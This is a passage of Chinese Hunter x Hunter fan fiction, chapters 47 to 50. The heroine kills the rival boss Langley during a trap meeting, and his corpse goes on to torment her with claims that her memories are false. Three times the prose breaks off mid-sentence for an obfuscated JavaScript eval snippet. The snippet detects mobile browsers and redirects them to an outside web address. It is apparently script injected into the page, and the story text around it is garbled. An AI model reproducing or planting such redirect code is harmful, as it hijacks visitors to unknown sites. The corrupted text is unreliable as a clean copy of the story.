如此重大的事情,她一如既往说得轻描淡写,不敢相信那会是怎样的痛楚。 酷拉皮卡沉默了片刻。他不会说扫兴的话,也不要说难过的话,这些言语一定会让她讨厌。想了想,他才说:“虽然我不知道恢复了痛觉会不会是好事,但不管怎么说,你失去的东西终于回来了。别担心,小维,我会努力不让疼痛再落在你的身上。” “好,明白。谢谢你。” 维瑟拉特抬起异色的眼眸,困惑地看着他。 “抱歉。请问,你是谁?” 47.秘而不宣x会面x是机会 维瑟拉特想,自己不认识眼前的金发少年——说不出他的名字,他的面孔也陌生,她不认识他。所以,刚才她会直白地询问“你是谁”。 现状似乎很明确,可与此同时,她还冒出了一种莫名的直觉。 直觉表示,他们大概是认识的,他就在被自己破碎的脑袋重新愈合时不小心忘却的某一部分记忆之中。她想。 就算直觉不这么说,也有足够多的迹象可以佐证这番的理论。 如果他们的关系只是素不相识的陌生人,想来在她说出刚才的那句“你叫什么”的时候,他应该很快就会给出答复才对,而他却陷入了一种肉眼可见的惊愕状态之中,随后悲伤和自责不可抑制从他的眼底浮起,只是他很快地眨了眨眼,用垂下的睫毛遮挡住了眸光,让人再也知晓他的心情发酵到了何种程度。 总之,还是知道了他的名字。他叫酷拉皮卡,是和她一样的窟卢塔的子民。他还很主动地允许她触碰他的锁链,明明这份冲动她只是稍稍地在心里想了一下而已,根本没有说出口。 维瑟拉特并没有意识到自己的心绪得以化作实际,完全是因为同样的场景已经上演了不止一次。她只是觉得酷拉皮卡人很好,关心着她的痛楚,还会对他说起以前的事情,是怎么看都很不错的人。 但在这个略显平淡的“好人”的印象之上,酷拉皮卡具体是个怎样的人呢?没有概念。 而且,想要知道。 想法不说出口就无法被知晓。正如现在,酷拉皮卡完全不知道她稍稍探出头的好奇心,他只是在想,决不能露出之前那种会让麻木的她都觉得不喜欢的表情。 各怀心事,却各不所知。 擦干净遗留在大庭广众之下的满地血迹,也要整理好亡者的遗容。 从回到诺斯拉家之后,维瑟拉特没有再去看过妮翁。瞻仰死人的面孔没有意义,也无法获得任何心安。无论怎么看,那张青灰色不再可爱生动的面孔都在书写着她的失败,不愿再想。 曾经向亚里砂承诺了会带妮翁回家,这份承诺也没能遵守。亚里砂没有因此怪罪她,酷拉皮卡也没有,就连莱特·诺斯拉也一样,明明他应该是维瑟拉特认为的最应当将手指戳着她的眉心、怪罪她没能履行好职责的那个人。 他们的过分宽容,不知道是因为他们确认了兰格雷派来的杀手,是任何人对付起来都会觉得很棘手的那个过分狡猾的西索,还是与护卫不力的能不不足相比,刻意杀死某人的恶意更不值得饶恕。不太可能的概率是,因为维瑟拉特在竭尽全力的苦战之后活着回来了,生的喜悦冲淡了死亡的悲哀。 到底是怎样的可能性呢?不知道了。反正维瑟拉特想不出来,就算此刻她已经站在了妮翁·诺斯拉的棺椁前,也还是想不出来。 当然,现在她依然看不到妮翁的面孔。她来得有些晚,棺木已经合拢了。或是有可能从妮翁被放进这方小小空间的那一刻起,棺材就已经合上了。 没有什么盛大的吊唁,妮翁的葬礼秘而不宣,很可能只有兰格雷和其他消息灵通的家族知道了妮翁的死讯。他们当然不会派人前来,会送上花束的只有诺斯拉家的人而已。 维瑟拉特把花放在棺木上。她在葬礼上迟到的原因,正是买花的时候耽搁了太久。 葬礼一定要用白色的花吗?最后一次看到的妮翁穿着颜色可爱的衣服,维瑟拉特觉得她不会喜欢白花,可人人都送白花,维瑟拉特觉得自己需要和其他人一样。 另外,买花小摊的老板和她聊了会天,这也是迟到的原因之一。维瑟拉特努力掩饰着自己的茫然,她对这个笑眯眯的女人一点也不熟悉。 但不管怎么样,花总算是落在了亡者最后的住所之上。酷拉皮卡走到她身边,很像是想要和她说点什么的样子,但可能是察觉到了她在这番气氛下的过分安静,想了想后才问了一句很无关紧要的,她买了什么花。 “忘记了。”她没关心过品种的事情,光顾着留心颜色了。 “我放了一束晚香玉。”酷拉皮卡说,“以前你送给我的那种。我想妮翁会喜欢它的香气。” “是嘛。” 她不知道晚香玉是什么,也不记得送花的事情,仿佛在听他人的故事。她想,她很可能连酷拉皮卡在今日说起晚香玉的事情也会忘记吧。 再过半个小时,就该落葬了,在这件事上维瑟拉特能帮忙,酷拉皮卡说她以前在某户人家当过掘墓人。 原来自己还当过掘墓人?对这种事完全没有印象了。但酷拉皮卡都这么说了,那应该就是这样没错吧。 把铲子插进土里,一脚踩在边缘,让铁勺完全没入地底,而后稍稍撬一下,土坑的雏形就会出现。可能是很久没做这种事了吧,她的动作难免有些生疏,好在做着做着就会习惯的。 我会为你报仇。维瑟拉特想。 她无所谓那把杀死妮翁的刀。她要砍掉的是握住了那把刀的手。 运气不错,无需等待太久,机会自会到来。 “首领会议?”维瑟拉特拧着眉头,把芭蕉说过的话又重复了一遍。 “是的。” 芭蕉在纸上泼墨,写了一堆俳句,主体都是什么火啊水啊枪炮之类的,估计是准备当后备弹药般的存在吧,毕竟他的念能力就是将木板上写下的诗句变成现实。 “莱特先生八成准备参加,所以才叫我加强宅邸的守卫,不要在他离家的情况下让诺斯拉遇袭。” 维瑟拉特有点听懂了,却还是有点没懂。“首领会议到底是什么东西?”这是她最不明白的部分。 “这个嘛,我倒是我没听说太多,貌似是其他家族知道了诺斯拉家和兰格雷的纠纷,觉得这种你灭我生意我杀你女儿的状态不能再持续下去了,所以决定将大家聚起来商讨一个合适的对策。总之,就是想要他们俩都消停一点。” □□居然还这么讲究良性发展的吗?维瑟拉特下意识摸了摸额角,感觉脑袋好痒。可能是新来的认知刺激了大脑的生长。 “听起来像陷阱。”她只有这一个想法,“把不听话的家伙骗进来然后杀掉的陷阱。” “是啊,我也觉得,不过莱特还是想去。而且他打算借这个机会把兰格雷杀了,哪怕这会触怒其他家族的首领。” “哦……” 莱特·诺斯拉原来还挺有血性的吗?维瑟拉特完全没想到。 等等。 岂止是没想到,到此为止的所有内容,她根本听都没听过——除了芭蕉,谁都没有和她说过这种事。 她对诺斯拉的事情,知道得真的太少了,就连宅邸的地下室正在施工的这种小事,也是亚里砂告诉她的。酷拉皮卡从不会说起这种事。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103654|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是因为酷拉皮卡不想让你去吧。”芭蕉吨吨吨倒着墨汁,还很莫名地笑了两声,“你们俩到底什么关系啊?你老是不告诉我。但他真的好关心你的安全,比你自己还关心。” 维瑟拉特没搭理他,自顾自嘀咕:“我必须要跟着大家一同参加首领会议。” “祝你顺利,别带着空空的脑袋回来了……嚯,这首俳句我写得真好。要不要来看看?” 她迅速起身,“我走了。” 芭蕉满脸不高兴。 “不想看我的俳句也用不着这么不礼貌地逃掉吧?” 维瑟拉特脚步飞快,“我只是要去找莱特先生而已。” 但也有一部分心情是不想对芭蕉的诗句提供什么夸赞。编造夸奖出乎意料的累人。 目标是去找莱特·诺斯拉,而不是酷拉皮卡。维瑟拉特做出这样的选择当然是有意义的,她多少能想到酷拉皮卡不会答应她的主动请缨——他可是连首领会议这件事都严防死守不透露给她的家伙。 但莱特不一样,他拒绝的概率低的可怕,毕竟多一个护卫对他而言就多了一层安全。 只要莱特答应,便是木已成舟,酷拉皮卡也没办法改变了。 到此为止,她想的全对,包括酷拉皮卡看到她就坐在莱特前方的副驾驶座时的困惑表情,也完全在意料之中。 在维瑟拉特的设想中,他很可能还会接着说点什么,譬如像是劝说她不要一同前往之类的话,可他这种发言,他一句都没有说,深思熟虑之后,才极小声地叮嘱了她一句,务必要小心。 而后,就出发了。 这部分出现了一点点出乎维瑟拉特意料的小小内容,酷拉皮卡竟然没有一同前往。 倘若问询莱特,这个面色沉重的男人会很乐意告诉她,他知道首领会议只是陷阱,但为了解决掉兰格雷这家伙,哪怕是陷阱也得跳进去。他已经看开了,自己死了也无所谓,相比之下更重要的是诺斯拉家,他将其托付给了酷拉皮卡,要求只有一个,就是要让诺斯拉的名号——他的名号,能足够响亮,在未来也能一直延续下去。 该怎么说呢,对姓氏的占有欲真像是一种奇怪的繁殖欲望。 汽车驶入隧道,漫长沉闷的漆黑之后才再度来到今日深蓝色的晴空下。莱特·诺斯拉一直在看着窗外,过分认真的神态很像是第一次外出的孩子,注视的却是此生最后一次见到的蓝天。 “这么好的天,却要和杀戮绑在一起。”莱特冷笑着,点燃一支雪茄,又丢了一支给维瑟拉特,“我记得你也抽烟吧,红头发的姑娘?” “是的。谢谢。” 雪茄的气味刺鼻,烧灼着肺部,微弱的疼痛让维瑟拉特觉得很别扭。原来这也是会带来痛楚的行为吗?她呼出一口气,摇下车窗,让风吹进来。 “莱特老爷,我们马上就要到了。”司机适时地说。 “行。” 莱特把剩下半截雪茄屁股从维瑟拉特打开的那扇车窗缝隙中丢了出去,收回的手重重拍在她的肩上。 “我知道的,你和这个家里的其他人不太一样。你杀过很多人,也不怕被杀。”他的声音很轻,和风一起钻进维瑟拉特的耳朵里,“所以,杀死兰格雷,这个任务就交给你了。” “了解。” 说话间,兰格雷家的洋馆在晴日之下展露其形。 48.指令x阴冷空间x恐惧感 此处是熟悉的兰格雷家的洋馆,但这地方对于维瑟拉特来说依然陌生。她完全不记得上次来这里的事情了——那时的会面不是什么要紧的大事,酷拉皮卡觉得没有必要专程提及,所以一直都还没有和她说起过,导致她的这部分认知出现了一点不大不小的空缺。 再仔细地想想,与兰格雷有关的事情,她知道的从来都不是很多,除却最为鲜明的“兰格雷派人杀死了妮翁·诺斯拉”之外,其他的认知,基本都是由家里的其他人告诉她的只言片语拼凑出的。可惜意识到这一点多少有点晚,以至于当维瑟拉特走进他的家的这一刻,才感觉到自己的认知实在是太过平面,憎恶的对象兰格雷,也从一个立体的人类沦落成了某种符号。 无所谓。就算只是符号,她也会磨灭掉。 杀死兰格雷,这是老板指派给她的命令。维瑟拉特在心里把该做的事情重复了一遍。 况且,就算是没有莱特的指令,她也必须要为妮翁的死报仇。 踏入洋馆。外头日光正好,这个家里黑漆漆的,无论是大厅还是里侧的房间,全都没有点太多的灯,厚重的墙壁把光线隔绝在外,显得室内密不透风。接待他们的依然是那位眼高于顶的管家,即便到了这样的境地,她还是带着一贯的傲气,只用下巴看着他们。 “莱特先生,您一如既往地来得很早呢。”她的声音高高吊起,像是飘在天花板上,“其余的家族尚未到来,看来您还要再等上一会儿。请您在先前的小客厅等待,可以吗?” 管家的话语颇有嘲讽的意味,但莱特已经不会被她激怒了。人生都已经迈入倒计时了,还愤懑不平做什么呢?一想到自己和眼前这个自以为是的仆人马上都会死掉,莱特竟然能够笑出来——还差点笑出声了,幸好他忍住了。 “可以的。”他很平静,“请带路。” 管家带着他们绕到楼梯后方。撤掉了真丝地毯的小客厅没通暖气,真皮沙发冻得冷冰冰,被莱特不算太沉的体重拉扯出绷绷的声响。 又开始用这种劣等的手段折腾人了。莱特忍不住冒出这种念头。 但就和刚才一样,一想到生命马上就要走到尽头,恐惧也好厌烦也罢,居然一丁点都没有冒出来。他很平静地接受了眼下这个不算太好的环境,叫维瑟拉特把铺在单人沙发上的毛毯拿过来。他已经感觉到牙齿在打架了。 “我理想的死法可不是冻死。”他平平无奇地抱怨了一句,“倒也不用故意不给我通点暖气。” 维瑟拉特递上毛毯,心想,兰格雷可能是不是故意在用这种办法让莱特受苦。光是正厅都冷冰冰的,听不到暖炉在烧的声音,说不定整栋洋馆都弥漫着和这里差不多的温度。 不过,必须承认,这种冷嗖嗖的感觉确实不好受。 她绕着小客厅走了一圈,拆开暖气的排风口,想了想,拿走了莱特盖在肩上的毛毯,把花瓶里的水撒上去,就这么把湿漉漉的毛毯塞进了出风口,莫名其妙的动作总算让计划着安然赴死的莱特冒出了更加鲜明的不满。 “你也要和兰格雷一起折腾我吗?”他蛮不高兴地问着维瑟拉特,“就不能让我死得痛快一点、波澜壮阔一点?” 维瑟拉特的回应是困惑地眨了眨眼。 痛快的死可以理解,既然莱特提出了这个要求,那她一定会在情况不对的时候及时砍掉他的脑袋。但“波澜壮阔一点”的死是什么样的?想象不出来。说到底她也不太懂波澜壮阔是个什么模样,只能说被人砍掉脑袋很可能不会是波澜壮阔的事情。 算了,既然老板还好好地坐在眼前——虽然冻得瑟瑟发抖一把老骨头都在咔哒咔哒地响个不停,但好好地活着坐在她的眼前——暂且先不考虑这种事了。 “我没有折腾您的意思。”维瑟拉特回到正题上,解释说,“只是觉得没有暖气这件事很奇怪,担心可能会通过通风管道释放毒气,所以先堵上了。” “哦,是嘛。” 他当然不会说谢谢了。机灵下属做出的机灵行动是理所应当,不值得为此夸赞。 旋律发来了消息,告知他们洋馆内目前一切都好,暂无任何异动,也没有很多人在,倘若最后真的变成了一场恶战,很可能是诺斯拉占据上风——毕竟,除了明面上跟在莱特身后一起走进来的七八个个护卫之外,他们的汽车后备箱里还塞了差不多十几个个人。 有时候也挺纳闷这么狭窄的后备箱究竟是如何能够挤满这么多人的。 这些信息全部都是旋律坐在三条街开外的餐厅里听到的。兰格雷不会意识到他们的一举一动正在被留意着,空气已经描绘出了他们每个人所在的位置。 维瑟拉特回复了旋律一句“了解”,正要放下手机,却先被莱特的话语打断了动作。 “对了,你啊。”莱特压低了声音,几乎只是在动着嘴唇,“现在就去找兰格雷吧。找到之后就把他杀了,行动越快越好。” “了解。” 她一直在等待这个指令,在他说完之后,立刻蛇一样钻进通风管道,只露出一个脑袋,垂下的红发一晃一晃的。 “这里留下他一个人可以吗?” 她指着莱特旁边的另一个保镖问——只称呼自己的同僚为“他”,完全是因为她完全不知道对方的名字。不是忘记了,而是他根本没说,估计是觉得自己的命差不多也要走到尽头了,没必要再把名字传播得更远。 “没事。”都下定了牺牲的决心还要被询问安全问题,莱特显得很不高兴,“你快点行动。” “了解。” 维瑟拉特顺着管道向前。她必须放慢动作,毕竟手脚按在铁皮包裹的管道,制造出的动静可比想象的要大得多。她当然也无法和旋律通话,只能按着键盘,用短信询问兰格雷的位置。 顶层,最南侧的房间。 旋律的回信这么说。 通风管道快要走到头了,没有继续向前延伸的道路。 维瑟拉特伏低了身,耳朵贴在铁皮上。她的听力一定不如旋律灵敏,好在铁皮只有薄薄一层,无论怎样的动静都不会被隔断。此刻,她没有听到任何人的说话声或是脚步声,看来是移动到无人的房间了吧,或者是走廊的尽头。但不管是怎样的位置都无所谓,她已经把最锋利的刀掏出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108399|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,轻轻松松就能划穿铁皮,开出一个能容她通过的空间。 她跳下去。 这里是无人居住的房间,带着灰尘气味,但家具和各种其他东西准备得倒是齐全,估计是客房。维瑟拉特拧开窗框上的锁,跳出窗外,踩着墙砖的接缝,飞快地溜到了洋馆的另一侧墙壁上。这样就能躲开入口处警卫的视线了。 但是,入口处的警卫站空无一人。 来的时候,似乎也没见到太多警卫。只留下这么一点人在自己的洋馆,是自信还是圈套?无所谓了。她用不着考虑这种事。只要赶紧解决掉那家伙就好了。 爬上墙壁,最南侧的房间近在咫尺,透过阳台落地窗的窗帘间隙,已经能看到走来走去的护卫了,窗前也有人守着,具体的人数分布尚且不明。维瑟拉特感觉到口袋里的手机震动了七次,看来是有七个人的意思吧。 只有这点人的话,完全用不着规划侵入路线。 维瑟拉特跳上阳台,完全没有在推开落地窗时放轻手脚,反正离窗最近的那两个人在听到声音的下一秒就被抹了脖子。反应稍快一些的护卫已经开枪了,准头居然很不错,子弹精准地射进了她的肩膀。 ……真疼。 无论是皮肉被子弹击穿的疼痛,还是要让伤口愈合的疼痛,全都是痛。维瑟拉特的嘴角抽搐了一下,她可不想在别人的面前露出吃痛的表情。 其实可以躲开的,只是早就养成了径直向前的习惯,她完全忘记了痛楚是恐怖到足够逼停脚步的存在。真糟糕。马上又要有子弹射过来了。 维瑟拉特冲向角落,心跳快得可怕。明明她不想躲的,身体却自顾自动起来了,是她没有意识到的对疼痛的恐惧在驱使她行动吧。她甚至有点不愿意向前,尽管她最终还是迈出了一步。 不要在乎疼痛……对,别在乎,别害怕。 把那些会让她痛得不行的家伙。挨个除掉。 做完这些事情之后,维瑟拉特才留意到坐在床上的兰格雷。他平静的面孔居然和莱特很像,只是稍显惨白,看来还是怀有恐惧吧。 下一秒,他拧着脸,露出狰狞的笑——也可能不是笑,但维瑟拉特确实无法形容他的表情。 楼下也传来了枪声,一定是这里的动静被听到了。但维瑟拉特一点也没有去想楼下的情况。一如既往,她的眼里只能注视着当前的情况。 她锁上了门。刚才阳台的门也被她顺手锁上了。她无所谓有多少增援前来,只不想在工作的途中被打断。 她重新来到兰格雷的面前,注视着他。也是在这时候,他突兀地爆发出了诡异的声响,一定是有一口气从他的肺里榨出来了。他以足够迅捷的速度摸出枪,还没来得及扣下扳机就已经被维瑟拉特踹飞了——就算开枪也没用。 “没想到最后是被你这种人杀死的,真不值!” 他往维瑟拉特的脸上吐口水。不痛不痒的攻击,她都没想着要躲。 维瑟拉特举起了刀,听到他说: “你这条酷拉皮卡的狗,没有主见的可怜蛋。你直到现在都还相信着那个金发小子对你说的一切吗?” 49.浑话x人之将死x吵闹声 人总在临死的时候冒出一大堆无聊的浑话。可能是最后的求生欲正在努力地挣扎,也可能是慌不择路的话语总会不经思考地就从唇齿之间漏出来了。总之,每当这种时候,一脚踏入地狱的家伙就会说点没有意义的话语,完全没有必要去听,也不必相信。那些话的真实性全都不值得考究。。 这是以前维瑟拉特在重重叠叠的工作经历之中总结出来的经验之谈——那时候她还叫十三号呢。 可惜到了她是维瑟拉特的现在。如此重要的真知灼见,却差不多已经完全被她忘了。 尽管忘记了很重要的经验之谈,也并不意味着她真的有在认真听兰格雷的话,否则她手中的刀不会一刻不停顿地落下,劈在兰格雷的肩膀上,钢铁与骨头砸出很骇人的声响。 她的这一刀砍得相当深,连续切断了好几根骨头,刀刃深深没入他的身体,胸腔被开了个大口子。但凡再向右移动三厘米,就能直接将伤口刻在他的心脏上了,多亏她巧妙地收住了力气,否则兰格雷此刻也不至于痛到用一种无比仇恨的目光瞪着她。 维瑟拉特没有砍歪,也没有折磨他的意思,但这的确是故意为之。 她可不想让这家伙享有痛快的死亡。 能看出兰格雷并不想发出那种很丢脸的尖叫声,也难怪他咬断了两颗后槽牙,还很恶心地把这两颗牙齿吐到维瑟拉特的脸上。这么喜欢把□□弄在别人的身上,这家伙肯定有着奇怪的癖好。 “不愧是只会听命的狗。”他又开始说浑话了,“你的主人叫你折磨我的,对吧?真是一群可笑的家伙。” “不。”维瑟拉特把手伸进口袋里,转而摸出手枪,“这是我自己做出的决定。” 其实也没必要和他对话。会回应他的话语,纯粹只是因为维瑟拉特已经太习惯在听到询问之后给出对应的回答了。她的反应正中兰格雷的下怀了吗?不一定。 就算维瑟拉特始终保持缄默,他也会喋喋不休地用恼人的话语骚扰她的。 正如现在,他压低了眉头,虽然疼痛将他的面孔扭曲成了很奇怪的样子,但竟然还是能够从皱起的皮肉之间看出他的不屑。他根本不认同维瑟拉特的话语。 都疼成这样子了,还一点都不害怕吗?真是个怪人。维瑟拉特无法理解她。好在她本来也不想和他产生共鸣。她举起了枪,准备让疼痛感落在他的大腿上,可他还在冷笑。 “真的吗?你觉得,你的行动全都是出自你自己的思维才做出来的吗,十三号?” 甚至能够说出她过去的名字,一定是花时间调查过她的事情了吧,而且他也不打算掩饰这一点。 “你的主人向你下达了杀死我的指令,你根据指令决定了虐待我而后再杀死我的行动方针,而你却认为这全部都是你自己做出来的决定。就你吗?你就是一只狗罢了……呃啊。”出膛的子弹害他闷哼一声,表情更加狰狞,“在别人说话的时候开枪,你的主人就是这么教导你的吗?真是坏狗!” 咔哒——维瑟拉特重新上膛,枪口直指兰格雷按在伤口上的手掌。穿透伤口的攻击,这家伙会痛得不行吧,想想就……挺让人牙酸。 维瑟拉特试着不去想像疼痛感,还有随之一起出现的恐惧,反问他:“狗难道不好吗?” 小狗毛茸茸、可爱、忠诚,会勇敢地冲在最前方,也会调皮地去拾取不该捡的东西。不管怎么想,都只能从狗的身上想到美好的品质。维瑟拉特不觉得当一条狗有什么不好的。 “狗当然不会觉得当狗有什么不好的,反但在人类的眼里永远只是低人一等的畜生罢了。”兰格雷努力调动五官,露出一种怜悯的表情,虽然看起来更像是痛得要哭了,“仔细想想,你会这么护主也是很正常的事情。你的主人——酷拉皮卡,他给你灌输了多少认同的话语和信念感?他是不是说,你们是朋友,你一定要支持他在做的一切。” “我觉得,你的话有点太多了。” 维瑟拉特并没有动摇。是的,没有动摇。瞄准了心脏却最终射进了兰格雷小臂里的子弹,纯粹只是因为从阳台落地窗的缝隙间吹来的风吹歪了子弹而已,绝不可能是她的手在听到“酷拉皮卡”时发生了极其微小的颤抖。 疼痛累加到一定程度之后,似乎就不会再往上增长了。兰格雷完全不会再感觉更痛,说起话来竟然都好像更有底气了。 “可怜啊,真可怜,没有过去的十三号,你被那家伙牵着鼻子走了。你以为他和你说的话都是真的吗?目标、羁绊、未来,他是不是什么都说得很好听?那都是骗你的,他只是想要利用你罢了。你这种有本事却没自我的家伙,归根结底只是一把开了刃的无主好刀罢了。” 维瑟拉特最后一次举起枪。“你很烦人。” 而他确实烦人,依然在说:“像你这种人,只要对你说一点爱啊认同啊或是体谅的话语,你就会心甘情愿地替主人卖命了。所以我才最喜欢你这种可怜的要死还无家可归的孤儿了,所以酷拉皮卡才会把你带回那个家的。在他眼里,你充其量只不过是……” 维瑟拉特扣下扳机。 胡言乱语,还是不要听了。 这次她好好地瞄准了,子弹在他的眉心刻下鲜红色的凹痕,话语也被尽数打碎,兰格雷的双眼直直地盯着前方,没有任何聚焦或是落点,只是这样盯着前方而已,数秒之后,才被重力拉扯着,仰面倒在了过去无数次安眠的床上。 这是最后的长眠了。 维瑟拉特拾起地上的枪。无论如何,武器一定越多越好。楼下的情况似乎不太妙,已经感觉到口袋里的手机震动了好几次了,肯定是旋律发来的求助吧。必须快点和大家…… “在他眼里,你充其量只不过是道具而已。或者人偶。挑一个你喜欢的称谓好了。” 兰格雷的声音。 他倒在床上,破碎的大脑顺着头盖骨上的弹孔流淌出来,将提花被单染成黄红白搅在一起的复合色泽,逐渐泛起青灰色泽的双唇并未在动,话语却自然而然地漏出来了,从他脑袋上开的这个洞里。 这个洞眼再说:“你是他用来寄托对死去族人的思念的人偶,他向你灌输的一切都会被你吸收,他说的所有故事你都自然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113127|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然地相信。你觉得你想起的事情全部是自己的回忆,是吗?不,不是的。你真蠢。哈哈。” 他甚至笑起来了,明明连嘴唇都没有动一下。 喋喋不休。喋喋不休。喋喋不休。早知道就应该痛快地一口气解决掉他。 “你这家伙,”维瑟拉特把他从床上拽下来,用力踩住他的脑袋,完整弧形的骨头在她的靴子底下碾成碎片,“比我预想的更烦。” “你只是被他灌输给你的故事激发了想象力,想象出了你认定的‘过去’。但那全部全部只是幻想,不是真实的。就像射出箭后画下的靶子,你从来没有正中红心。” 破碎的头颅在说。 “你其实根本不是他的伙伴,也不是他的族人。你看到过自己的火红眼吗?便利屋的人说你有火红眼,他也说你是他红眼睛的伙伴,可你自己见到过你的红眼睛吗?你真的觉得自己是窟卢塔人吗?” 抬眼。看镜子。没有被他的话语支配,却还是无意识做出了这样的动作。 而镜子里的她看着自己,茫然却不安的面孔。没有任何火红眼的踪迹。 ……好烦。 叽叽歪歪的家伙最讨厌了。 没错,讨厌,现在她心中几乎从不动摇的好恶指标正在疯狂地指向厌恶的一侧。她从没有像此刻这样,如此厌恶一个人。 维瑟拉特用刀刺穿了他的心脏,可胸膛的破口一开一合,依旧能够挤出话语。 “可怜蛋,你只是被赋予了存在的意义。如果没有酷拉皮卡在,如果他没有向你灌输那些‘过去’,你只是一个空白的存在。” “闭嘴。” “当他看着你的时候,他看的那个人根本就不是你。而是过去的维瑟拉特,身为他童年玩伴的维瑟拉特,真正的维瑟拉特。你可不是。你是十三号。” “闭嘴。我是的!我是的!我是……” 是维瑟拉特,这是她的名字,她是…… “不,不对,你连十三号都不是。你生来就没有名字,你只是一个怪物——便利屋的人说你是怪物,卡尔玛拉家的小少爷当你是怪物,因为你就是怪物。” “烦死了……烦死了烦死了烦死了!” “不会死、不会受伤、没有感情、没有痛觉、没有记忆、没有过去、没有家、没有爱你的人、没有朋友。怪物。” “我感觉得到的!我感觉到了,现在就在感觉着!” 她感觉到了,真的能够感觉到,好清晰的感觉,有一种酸涩的尖锐感正在刺穿她的胸膛,伴随着她的呼吸游入大脑,于是知觉也昏昏沉沉的了。可是她的胸膛明明没有被破开,也没有受伤,即便是进行了治愈,痛楚还是没有消失。为什么? “因为,这种感觉是假的。你的疼痛是虚假的,就像你这个人的存在一样。” 眼前已然支离破碎的尸体,用着她也无法辨认、但不知为何听起来很像是她的嗓音,直到此刻依然在和她对话,语重心长,孜孜不倦。 “世界、感触、酷拉皮卡告诉你的一切,还有你自己,全部都是虚妄的存在。” 50.怪物x全部毁灭x衍生品 躺在维瑟拉特眼前的尸体,已经无法被称作是人形了。那只是破碎的肢体、被戳碎的肉块以及拆解开来的骨头罢了。 维瑟拉特并不知道自己对兰格雷造成了过度的伤害,她的行动已经从执行任务过渡到了一种更可怕的层次。 但是,这也不能怪她吧? 维瑟拉特不停地用袖子抹去飞溅在脸上的血迹,苍白的皮肤染上一层褐红色的铁锈味。 变成这样才不是她的问题。都怪他,都怪兰格雷,死了还要说那种激怒她的话。生气?她没有生气。她只是不想听他说话,只是想要他闭嘴,所以才反复地杀死了他,就是这样,只是这样。 现在他死了,一定已经死了,也不再说那些让她讨厌的话了。可维瑟拉特的心脏还是跳得好快,那种酸涩的、仿佛心室都已经出现裂纹的痛楚依旧固执地存在着,她艰难地站起身,大脑的眩晕感几乎要把她推倒在地,她踉跄了一下,前所未有的狼狈。 虚假的记忆、没有意义的存在、由他塑造的人偶。 怪物。 话语还在耳边盘旋,即便捂住耳朵也无法忽视。是不是不去感受就好了,如同无数次被忽视掉的疼痛?维瑟拉特试着这么做了,她不确定自己是否成功了,驱动着她的身体向前迈步的很可能不是逐渐安定下来的心绪,而是一种莫名其妙的责任感,必须完成某种任务的执念。 得解决掉楼下的事情才行。 她越过楼梯护栏,沿着扶手构成的空隙跳到一楼还未落地就有枪口对准了她。又要有疼痛感落在身上了。维瑟拉特竟然不自觉地颤抖了一下,她的心脏好像又要裂开来了,隐隐作痛。 她是不是应该…… 子弹出膛,划破空气,擦着她的发梢滑过去。维瑟拉特还是感觉到疼痛了,却不是皮肉乃至骨头破碎的剧痛,她只是被什么人仓皇地撞到在了地上——那个早先和她一起守在莱特身边,但他们却还没有交换过名字的同僚推开了她,他们幸运地谁也没有受伤。 “你没事吧!”他反击了几枪才抽出空来询问维瑟拉特的情况,“你的任务完成了吗?兰格雷死了吗?莱特先生在中弹之后最在意的就是这件事了!” 维瑟拉特喘了几口气,大脑终于冷静一点了。 “没事。” 疼痛杀不死她,她是不会死的怪物,维瑟拉特想,只是没有把这话说出口。 切回正题,“兰格雷死了,死得不能再死,绝没有死而复生的可能性,莱特先生能死得瞑目了。” “太好了……不过,莱特先生还没死呢。” 维瑟拉特怀疑自己的耳朵完全出问题了,“你说他中弹了。” “对,他是中弹了,但没有死。” 在一楼的战斗刚刚开始的不久,莱特·诺斯拉就不幸地被流弹击中,成了最初的负伤者,可他的运气似乎歪到了奇怪的方向去,子弹不偏不倚地射进了他浑身上下肉最厚的那个部位——就是说他的屁股被打上了一个洞。 一楼的情况不好,到处都是兰格雷的爪牙,人数不算多,却格外缠人,想要从这里撤退肯定不会是什么方便的事情。同僚暂且把莱特藏到了沙发底下,想着既然现在维瑟拉特也来了,他们就能有办法一起把莱特搬出宅邸了。 “我明白了。我会清理出前进的道路。” 然后该怎么做呢?她得思考一下…… 还在思考呢? 好像有声音在这么说。 又冒出这种被他们的话语所牵连出来的思绪了吗?是不是又把这种衍生物当做了百分百属于自己的思考结果? 维瑟拉特不得不甩甩脑袋,尽管这起不了作用。既然如此,就只能用更大的音量把恼人的话语按下去了。 “你们只需要往前走就好了,别的什么都不用管。” “好……请您小心。” “我知道。” 她会避开疼痛的。 已经不想再感觉到更多的痛楚了。 